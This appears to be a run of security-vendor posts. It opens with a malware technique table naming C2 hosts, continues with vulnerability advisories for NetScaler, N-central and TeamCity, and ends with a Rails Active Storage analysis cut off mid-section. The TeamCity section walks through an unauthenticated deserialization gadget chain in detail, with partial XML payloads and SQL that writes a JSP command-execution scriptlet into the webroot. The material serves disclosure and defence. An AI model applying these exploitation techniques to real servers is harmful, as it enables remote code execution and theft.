Stager, CurlRAT
Defence evasion
[T1036.005] Masquerade: match legitimate name
crond, polkitd, agetty, atd binary names used; CentOS variant masquerades functions as atd_ routines in static analysis
Stager, CurlRAT
Defence evasion
[T1070.002] Clear Linux logs
Selective keyword erasure (tmp, wget, cron, crond) from bash_history, messages, audit.log, secure, syslog, auth.log via /tmp/jasper-log staging file
Stager
Defence evasion
[T1070.006] Timestomp
Backdoored crond given same creation timestamp as /usr/bin/ssh post-install
Response body replaced or appended with decrypted payload script via HAProxy data filter callbacks; Content-Type, Content-Length, Content-Disposition rewritten; 200 OK forced; Accept-Ranges stripped
ted backdoor
Collection
[T1119] Automated collection
Passive capture logs timestamped records per matched request; expanded * records written when Accept-Language mrt key present
ted backdoor
C2
[T1071.001] Application layer protocol: web protocols
ted C2 tunnelled as HTTP through load balancer; CurlRAT polls C2 over HTTPS with libcurl fallback to HTTP; all payloads as application/x-www-form-urlencoded POST
CurlRAT, ted backdoor
C2
[T1132.001] Data encoding: standard encoding
All CurlRAT C2 payloads Base64-encoded after feedback XOR; ted pipe protocol uses raw bytes with rolling XOR session key
CurlRAT, ted backdoor
C2
[T1102] Web service
CurlRAT falls back to secondary C2 img.monderhouse.space on config validation failure; img.darklights.store used as backup config host
CurlRAT
C2
[T1572] Protocol tunnelling
Interactive shell tunnelled through HAProxy HTTP pipeline via named FIFOs; response exfiltrated via raw send() on TCP socket bypassing HAProxy logging
ted backdoor
C2
[T1568] Dynamic resolution
CurlRAT victim ID derived from hostname + IP + hardware UUID + cron version string, MD5'd and uppercased; used as User-token header in all C2 requests
CurlRAT
Exfiltration
[T1041] Exfiltration over C2 channel
SSH credentials exfiltrated via CurlRAT C2; session capture logs written by ted; CurlRAT mode 0 streams command output back over same channel
Stager, CurlRAT, ted backdoor, SSH keylogger
Exfiltration
[T1560] Archive collected data
SSH keylogger output encrypted with substitution cipher before writing; CurlRAT applies feedback XOR + Base64 to all outbound data
On August 19, 2026, a security advisory was published for CVE-2026-19490, a critical authentication bypass vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway. The vulnerability carries a CVSS v4.0 base score of 9.3 and can be exploited remotely by an unauthenticated attacker over the network without user interaction or elevated privileges.
NetScaler ADC and NetScaler Gateway are widely deployed enterprise networking products commonly positioned at or near the network perimeter. NetScaler ADC provides application delivery, traffic management, load balancing, SSL/TLS offloading, and application security capabilities, while NetScaler Gateway provides secure remote access and VPN functionality. Because these systems are frequently deployed in enterprise DMZs and exposed to the public internet, authentication bypass vulnerabilities affecting Citrix products are nearly always exploited by threat actors.
NetScaler ADC and NetScaler Gateway 14.1: Versions prior to 14.1-73.32
NetScaler ADC and NetScaler Gateway 13.1: Versions prior to 13.1-63.21
NetScaler ADC FIPS: Versions prior to 14.1-73.32 FIPS
NetScaler ADC FIPS and NDcPP: Versions prior to 13.1-37.277
As of August 19, 2026, Rapid7 has not observed evidence that CVE-2026-19490 is being exploited in the wild. However, organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild.
On September 9, 2026, CVE-2026-19490 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. With active exploitation now occurring, organizations running affected versions of Citrix NetScaler ADC and NetScaler Gateway should remediate these issues on an urgent basis, outside of normal patching cycles.
Mitigation guidance
Organizations running affected NetScaler ADC or NetScaler Gateway appliances should review the official NetScaler advisory and apply the required updates to affected systems on an emergency basis.
Fixed versions for affected products are listed below:
NetScaler ADC and NetScaler Gateway14.1-73.32 and later releases
NetScaler ADC and NetScaler Gateway13.1-63.21 and later releases of 13.1
NetScaler ADC 14.1-FIPS14.1-73.32 FIPS and later releases of 14.1-FIPS
NetScaler ADC 13.1-FIPS and 13.1-NDcPP13.1-37.277 and later releases of 13.1-FIPS and 13.1-NDcPP
According to Citrix, customers can determine whether affected systems are vulnerable to CVE-2026-19490 by inspecting their NetScaler configuration for the following configuration entries. If one or more of the following items are present, and if the systems are running affected versions, the system is likely to be exploitable:
SAML action configuration is in place:
"add authentication samlAction.*"
Auth or VPN vserver is configured:
"add authentication vserver .*"
"add vpn vserver .*"
For the latest guidance, please refer to the official Citrix advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Customers can assess exposure to CVE-2026-19490 on Citrix NetScaler ADC and Gateway using a vulnerability check available in the August 20 content release.
Updates
August 19, 2026: Initial publication.
August 20, 2026: Updated Rapid7 customers section to reflect availability of vulnerability check.
September 11, 2026: Updated Overview to add new CISA KEV reference.
On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.
JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.
Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.
Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.
Analysis
Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.
TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.
XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream's alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.
Patch diff
The class jetbrains.buildServer.messages.XStreamHolder is TeamCity's wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:
The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:
// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;
public class XStream {
// ...
protected void setupSecurity() {
if (this.securityMapper == null)
return;
addPermission(NoTypePermission.NONE); // <--- Clears all existing permissions
addPermission(NullPermission.NULL);
addPermission(PrimitiveTypePermission.PRIMITIVES);
addPermission(ArrayTypePermission.ARRAYS);
addPermission(InterfaceTypePermission.INTERFACES);
allowTypeHierarchy(Calendar.class);
allowTypeHierarchy(Collection.class);
allowTypeHierarchy(Map.class); // <--- Map is allowed
allowTypeHierarchy(Map.Entry.class);
allowTypeHierarchy(Member.class);
allowTypeHierarchy(Number.class);
allowTypeHierarchy(Throwable.class); // <--- Throwable is allowed
allowTypeHierarchy(TimeZone.class);
// ...
Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.
The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:
XStream's SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.
Root cause
The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.
The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.
Applied here, this allows a deserialization payload that begins with TeamCity's HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity's explicit protocol allowlist.
Triggering the vulnerability
First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.
The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.
// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
HttpServletRequest request,
HttpServletResponse response,
String[] path) throws Exception {
String sessionId = request.getHeader("TeamCity-AgentSessionId");
BuildAgentEx agent =
sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
// This check occurs before the vulnerable handler is reached.
if (agent == null) {
response.setStatus(401);
response.getWriter().write("Agent's session is not found");
return null;
}
PollingRemoteAgentConnection connection =
(PollingRemoteAgentConnection) agent.getConnection();
if (path.length == 4) {
String operation = path[3];
if (operation.equals("error")) {
getCommandsProcessor().handleCommandIsFailedRequest(
connection, request, response
); // <--- call the error handler
}
}
return null;
}
The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.
Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.
The gadget chain
The gadget chain's objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:
The payload reconstructs a BasicDataSource configured to use TeamCity's bundled HSQLDB driver.
A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().
Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.
The final SQL statement uses HSQLDB's SCRIPT command to write a malicious JSPWS file into TeamCity's webroot.
The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.
The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.
Object graph construction
The payload's XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.
Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().
The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.
Entry one: construct and configure the datasource
The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.
The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:
XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.
Entry two: expose the datasource through FreeMarker
The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.
The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model's inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:
<freemarker.ext.beans.HashAdapter>
<wrapper>
<!-- Class-introspection state from the PoC is omitted here. -->
<falseModel>
<object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
<wrapper reference="../.."/>
<value>false</value>
</falseModel>
<!-- Remaining BeansWrapper state from the PoC is omitted here. -->
</wrapper>
<model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>
The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.
Entry three: trigger the property lookup
The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream's default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:
The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath's one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.
Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.
Triggering gadget execution
A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.
The resulting call to HashAdapter.get("connection") passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker's BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().
A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.
The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:
CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'
HSQLDB's SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.
Executing a JSP payload
Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper's org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:
The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:
We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.
Exploitation
A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.
Figure 2: Proof-of-concept exploitation.
The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain's first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.
[2026-08-07 01:53:09,794] ERROR - jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth
com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
...
IOC
On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:
[2026-08-07 00:36:36,467] ERROR - jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth
com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
...
A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:
07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------] with root cause
org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
at org.hsqldb.error.Error.error(Unknown Source)
...
Remediation
For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.
On August 2, 2026, N-able published a security advisory for CVE-2026-18577, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, CVE-2026-18556 was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.
N-able N-central is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.
According to N-able, exploitation of CVE-2026-18577 has been observed in the wild since August 1, 2026. Following successful exploitation, attackers leveraged the platform's Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (cloudflared) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was added to CISA’s Known Exploited Vulnerability (KEV) catalog and on August 5, 2026, CVE-2026-18556 was also added to the catalog.
On August 6, 2026, N-able released a second hotfix to further address CVE-2026-18577. This second hotfix supersedes the original hotfix published on August 2, 2026, and provides additional mitigations against the same vulnerability. Customers who have not yet applied the new 2026.3 Hotfix 2 should do so on an urgent basis.
Mitigation guidance
Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.
Affected versions:
All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 2.
Fixed version:
N-able N-central 2026.3.1 Hotfix 2 (2026.3.1.10).
The vendor also recommends:
Upgrading N-central agents after applying the server hotfix.
Reviewing systems for indicators of compromise.
Contacting N-able Support immediately if evidence of compromise is discovered.
Engaging internal incident response teams if malicious activity is identified.
N-able has published several artifacts that administrators should investigate during incident response.
Endpoint Artifacts:
Presence of a cloudflared service.
A suspicious svchost.exe located within the user's Documents folder.
Network Indicators:
Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:
173[.]249[.]252[.]200
87[.]249[.]138[.]34
37[.]19[.]210[.]32
37[.]153[.]90[.]88
92[.]118[.]112[.]181
68[.]235[.]46[.]214
Organizations should also review:
Authentication logs
Administrative account creation or modification
Take Control session activity
Remote management logs
Windows service installation events
To assist affected organizations running N-central, the vendor has provided a detection template for CVE-2026-18577, which organizations can use to help identify potential compromise.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 and CVE-2026-18556 with vulnerability checks available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.
Updates
August 4, 2026: Initial publication.
August 4, 2026: Updated Rapid7 customers section to reflect the availability of vulnerability checks.
August 7, 2026: Updated the Overview and Rapid7 Customers sections to indicate addition of CVE-2026-18556 to CISA KEV and availability of vulnerability checks.
August 14, 2026: Updated the Overview and Mitigation guidance sections to include the new vendor guidance that 2026.3 Hotfix 2 supersedes the original 2026.3 Hotfix 1.
On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < 8.1.3.1. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.
Our Emergent Threat Response blog covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token. A genuine Active Storage variation_key from the same application, paired with a direct-upload blob whose stored content_type claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.
We reproduced the published chain against Rails 6.0.6.1, 6.1.7.10, 7.2.3.1, 8.0.5, and 8.1.3, and confirmed that patched 7.2.3.2, 8.0.5.1, and 8.1.3.1 targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible Hash, Array, and String values in a signed variation. That path reaches Kernel#spawn or Kernel#eval through ImageProcessing's chain builder, and it worked when Rails was configured with config.active_support.message_serializer = :json.
The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose matload with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied content_type, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.
The attack can be summarized as follows:
[Attacker]
|
| 1. Creates a direct-upload blob with content_type = image/png
v
[Rails stores the blob as an image without examining the bytes]
|
| 2. Reuses a genuine variation_key from the same application
v
[Rails accepts the blob as variable and starts a representation]
|
| 3. image_processing hands the local tempfile path to libvips
v
[libvips matload]
|
| 4. Bytes 0-9 match "MATLAB 5.0"
v
[libmatio]
|
| 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
v
[HDF5 external storage]
|
| 6. Dataset bytes come from attacker-chosen path + offset
v
[Rendered PNG representation]
|
--> Target file bytes are returned as image pixels
Analysis
The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.
Direct upload stores an attacker-controlled type
The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5, ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload!:
class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
def create
blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # <-- [1]
render json: direct_upload_json(blob)
end
private
def blob_args
params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # <-- [2]
end
At [1] and [2], the endpoint accepts content_type from the client. At [3], Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side unfurl flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.
Once the direct-upload blob exists, Blob#variable? uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts image/png, so the blob falls through to variant:
def variant(transformations)
if variable?
variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
else
raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
end
end
# Returns true if the variant processor can transform the blob (its content
# type is in +ActiveStorage.variable_content_types+).
def variable?
ActiveStorage.variable_content_types.include?(content_type) # <-- [4]
end
At [4], Rails performs a set-membership check against the stored content_type. No file bytes are examined. A crafted MAT/HDF5 object stored as image/png reaches the image variant pipeline.
A genuine variation key can be replayed against another blob
The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:
module ActiveStorage::SetBlob # :nodoc:
extend ActiveSupport::Concern
included do
before_action :set_blob
end
private
def set_blob
@blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # <-- [5]
rescue ActiveSupport::MessageVerifier::InvalidSignature
head :not_found
end
def blob_scope
ActiveStorage::Blob
end
end
class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
include ActiveStorage::SetBlob
before_action :set_representation
private
def blob_scope
ActiveStorage::Blob.scope_for_strict_loading
end
def set_representation
@representation = @blob.representation(params[:variation_key]).processed # <-- [6]
rescue ActiveSupport::MessageVerifier::InvalidSignature
head :not_found
end
end
# Returns a Variation instance with the transformations that were encoded by +encode+.
def decode(key)
new ActiveStorage.verifier.verify(key, purpose: :variation) # <-- [7]
end
